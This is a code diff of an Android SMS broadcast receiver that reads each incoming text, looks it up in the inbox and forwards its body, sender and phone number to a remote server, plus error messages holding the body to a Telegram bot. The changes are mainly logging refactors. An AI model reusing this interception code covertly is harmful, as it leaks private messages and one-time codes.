|
@@ -20,6 +20,7 @@ import com.car.frpc_android.database.DBHelper;
|
|
import com.car.http.APPConfig;
|
|
import com.car.http.APPConfig;
|
|
import com.car.http.BaseBean;
|
|
import com.car.http.BaseBean;
|
|
import com.car.http.Http;
|
|
import com.car.http.Http;
|
|
|
|
+import com.elvishew.xlog.XLog;
|
|
|
|
|
|
import java.util.HashMap;
|
|
import java.util.HashMap;
|
|
|
|
|
|
@@ -30,36 +31,30 @@ public class SmsReceiver extends BroadcastReceiver {
|
|
public void onReceive(Context context, Intent intent) {
|
|
public void onReceive(Context context, Intent intent) {
|
|
if (intent.getAction().equals(SMS_RECEIVED)) {
|
|
if (intent.getAction().equals(SMS_RECEIVED)) {
|
|
|
|
|
|
- ThreadUtils.runOnUiThreadDelayed(new Runnable() {
|
|
|
|
- @Override
|
|
|
|
- public void run() {
|
|
|
|
- HashMap<String, String> map = new HashMap<>();
|
|
|
|
- Bundle bundle = intent.getExtras();
|
|
|
|
- StringBuilder sb = new StringBuilder();
|
|
|
|
- if (bundle != null) {
|
|
|
|
- Object[] pdus = (Object[]) bundle.get("pdus");
|
|
|
|
- if (pdus != null) {
|
|
|
|
- SmsMessage[] messages = new SmsMessage[pdus.length];
|
|
|
|
- String sender = "";
|
|
|
|
- long timestampMillis = 0;
|
|
|
|
- for (int i = 0; i < pdus.length; i++) {
|
|
|
|
- messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
|
|
|
|
- }
|
|
|
|
- StringBuilder smsBodyBuilder = new StringBuilder();
|
|
|
|
- for (SmsMessage message : messages) {
|
|
|
|
- smsBodyBuilder.append(message.getMessageBody());
|
|
|
|
- timestampMillis = message.getTimestampMillis(); // 发件时间
|
|
|
|
- sender = message.getOriginatingAddress();
|
|
|
|
-
|
|
|
|
- }
|
|
|
|
- String smsBody = smsBodyBuilder.toString();
|
|
|
|
- map.put("body", smsBody);
|
|
|
|
- map.put("address", HxUtils.getPhone());
|
|
|
|
- map.put("timestampMillis", timestampMillis + "");
|
|
|
|
- String simInfo = GsonUtils.toJson(findSMSId(context, sender, timestampMillis, smsBody, map));
|
|
|
|
- pushSms(simInfo);
|
|
|
|
|
|
+ ThreadUtils.runOnUiThreadDelayed(() -> {
|
|
|
|
+ HashMap<String, String> map = new HashMap<>();
|
|
|
|
+ Bundle bundle = intent.getExtras();
|
|
|
|
+ if (bundle != null) {
|
|
|
|
+ Object[] pdus = (Object[]) bundle.get("pdus");
|
|
|
|
+ if (pdus != null) {
|
|
|
|
+ SmsMessage[] messages = new SmsMessage[pdus.length];
|
|
|
|
+ long timestampMillis = 0;
|
|
|
|
+ for (int i = 0; i < pdus.length; i++) {
|
|
|
|
+ messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
|
|
|
|
+ }
|
|
|
|
+ StringBuilder smsBodyBuilder = new StringBuilder();
|
|
|
|
+ for (SmsMessage message : messages) {
|
|
|
|
+ smsBodyBuilder.append(message.getMessageBody());
|
|
|
|
+ timestampMillis = message.getTimestampMillis(); // 发件时间
|
|
|
|
|
|
}
|
|
}
|
|
|
|
+ String smsBody = smsBodyBuilder.toString();
|
|
|
|
+ map.put("body", smsBody);
|
|
|
|
+ map.put("address", HxUtils.getPhone());
|
|
|
|
+ map.put("timestampMillis", timestampMillis + "");
|
|
|
|
+ String simInfo = GsonUtils.toJson(findSMSId(context, timestampMillis, smsBody, map));
|
|
|
|
+ pushSms(simInfo);
|
|
|
|
+
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}, 5000);
|
|
}, 5000);
|
|
@@ -68,7 +63,7 @@ public class SmsReceiver extends BroadcastReceiver {
|
|
|
|
|
|
}
|
|
}
|
|
|
|
|
|
- private HashMap<String, String> findSMSId(Context context, String sender, long timestamp, String body, HashMap<String, String> map) {
|
|
|
|
|
|
+ private HashMap<String, String> findSMSId(Context context, long timestamp, String body, HashMap<String, String> map) {
|
|
// 查询短信数据库,根据发送方号码和时间戳等属性来定位短信记录,并获取其ID
|
|
// 查询短信数据库,根据发送方号码和时间戳等属性来定位短信记录,并获取其ID
|
|
Uri uri = Uri.parse("content://sms/inbox");
|
|
Uri uri = Uri.parse("content://sms/inbox");
|
|
String selection = "date_sent = ? AND body = ?";
|
|
String selection = "date_sent = ? AND body = ?";
|
|
@@ -80,21 +75,28 @@ public class SmsReceiver extends BroadcastReceiver {
|
|
if (index1 >= 0) {
|
|
if (index1 >= 0) {
|
|
String address = cursor.getString(index1); // 收件人
|
|
String address = cursor.getString(index1); // 收件人
|
|
map.put("sender", address);
|
|
map.put("sender", address);
|
|
|
|
+ } else {
|
|
|
|
+ XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS) < 0");
|
|
}
|
|
}
|
|
int index2 = cursor.getColumnIndexOrThrow(Telephony.Sms.DATE);
|
|
int index2 = cursor.getColumnIndexOrThrow(Telephony.Sms.DATE);
|
|
if (index2 >= 0) {
|
|
if (index2 >= 0) {
|
|
long date = cursor.getLong(index2); // 收件时间
|
|
long date = cursor.getLong(index2); // 收件时间
|
|
map.put("date", date + "");
|
|
map.put("date", date + "");
|
|
|
|
+ } else {
|
|
|
|
+ XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms.DATE) < 0");
|
|
}
|
|
}
|
|
int index3 = cursor.getColumnIndexOrThrow(Telephony.Sms._ID);
|
|
int index3 = cursor.getColumnIndexOrThrow(Telephony.Sms._ID);
|
|
if (index3 >= 0) {
|
|
if (index3 >= 0) {
|
|
int id = cursor.getInt(index3); // 收件时间
|
|
int id = cursor.getInt(index3); // 收件时间
|
|
map.put("id", id + "");
|
|
map.put("id", id + "");
|
|
|
|
+ } else {
|
|
|
|
+ XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms._ID) < 0");
|
|
}
|
|
}
|
|
cursor.close();
|
|
cursor.close();
|
|
} else {
|
|
} else {
|
|
new TelegramBotExample("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp, true);
|
|
new TelegramBotExample("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp, true);
|
|
- Log.d(Config.LOG_TAG, "Find sms by id result error. body = " + body + " ,date_sent = " + timestamp);
|
|
|
|
|
|
+ Log.i(Config.LOG_TAG, "Find sms by id result error. body = " + body + " ,date_sent = " + timestamp);
|
|
|
|
+ XLog.i("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp);
|
|
String selectionB = "date_sent = ?";
|
|
String selectionB = "date_sent = ?";
|
|
String[] selectionArgsB = new String[]{String.valueOf(timestamp)};
|
|
String[] selectionArgsB = new String[]{String.valueOf(timestamp)};
|
|
Cursor cursorB = context.getContentResolver().query(uri, null, selectionB, selectionArgsB, null);
|
|
Cursor cursorB = context.getContentResolver().query(uri, null, selectionB, selectionArgsB, null);
|
|
@@ -103,22 +105,29 @@ public class SmsReceiver extends BroadcastReceiver {
|
|
if (index1 >= 0) {
|
|
if (index1 >= 0) {
|
|
String address = cursorB.getString(index1); // 收件人
|
|
String address = cursorB.getString(index1); // 收件人
|
|
map.put("sender", address);
|
|
map.put("sender", address);
|
|
|
|
+ } else {
|
|
|
|
+ XLog.i("Second cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS) < 0");
|
|
}
|
|
}
|
|
int index2 = cursorB.getColumnIndexOrThrow(Telephony.Sms.DATE);
|
|
int index2 = cursorB.getColumnIndexOrThrow(Telephony.Sms.DATE);
|
|
if (index2 >= 0) {
|
|
if (index2 >= 0) {
|
|
long date = cursorB.getLong(index2); // 收件时间
|
|
long date = cursorB.getLong(index2); // 收件时间
|
|
map.put("date", date + "");
|
|
map.put("date", date + "");
|
|
|
|
+ } else {
|
|
|
|
+ XLog.i("Second cursor.getColumnIndexOrThrow(Telephony.Sms.DATE) < 0");
|
|
}
|
|
}
|
|
int index3 = cursorB.getColumnIndexOrThrow(Telephony.Sms._ID);
|
|
int index3 = cursorB.getColumnIndexOrThrow(Telephony.Sms._ID);
|
|
if (index3 >= 0) {
|
|
if (index3 >= 0) {
|
|
int id = cursorB.getInt(index3); // 收件时间
|
|
int id = cursorB.getInt(index3); // 收件时间
|
|
map.put("id", id + "");
|
|
map.put("id", id + "");
|
|
|
|
+ } else {
|
|
|
|
+ XLog.i("Second cursor.getColumnIndexOrThrow(Telephony.Sms._ID) < 0");
|
|
}
|
|
}
|
|
new TelegramBotExample("Find sms by id result success second. date_sent = " + timestamp, true);
|
|
new TelegramBotExample("Find sms by id result success second. date_sent = " + timestamp, true);
|
|
cursorB.close();
|
|
cursorB.close();
|
|
} else {
|
|
} else {
|
|
new TelegramBotExample("Find sms by id result error second. date_sent = " + timestamp, true);
|
|
new TelegramBotExample("Find sms by id result error second. date_sent = " + timestamp, true);
|
|
- Log.d(Config.LOG_TAG, "Find sms by id result error second. date_sent = " + timestamp);
|
|
|
|
|
|
+ Log.i(Config.LOG_TAG, "Find sms by id result error second. date_sent = " + timestamp);
|
|
|
|
+ XLog.i("Find sms by id result error second. date_sent = " + timestamp);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
@@ -142,6 +151,7 @@ public class SmsReceiver extends BroadcastReceiver {
|
|
try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
|
|
try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
|
|
dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 1);
|
|
dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 1);
|
|
} catch (Exception e) {
|
|
} catch (Exception e) {
|
|
|
|
+ XLog.e("pushSms error.", e);
|
|
}
|
|
}
|
|
|
|
|
|
}
|
|
}
|
|
@@ -149,19 +159,13 @@ public class SmsReceiver extends BroadcastReceiver {
|
|
@Override
|
|
@Override
|
|
public void onError(Throwable ex) {
|
|
public void onError(Throwable ex) {
|
|
super.onError(ex);
|
|
super.onError(ex);
|
|
- try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
|
|
|
|
- dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 0);
|
|
|
|
- } catch (Exception e) {
|
|
|
|
- }
|
|
|
|
|
|
+ XLog.e("Push SMS error.", ex);
|
|
}
|
|
}
|
|
|
|
|
|
@Override
|
|
@Override
|
|
public void onFail(BaseBean t) {
|
|
public void onFail(BaseBean t) {
|
|
super.onFail(t);
|
|
super.onFail(t);
|
|
- try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
|
|
|
|
- dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 0);
|
|
|
|
- } catch (Exception e) {
|
|
|
|
- }
|
|
|
|
|
|
+ XLog.e("Push SMS fail." + t.getMsg());
|
|
}
|
|
}
|
|
});
|
|
});
|
|
}
|
|
}
|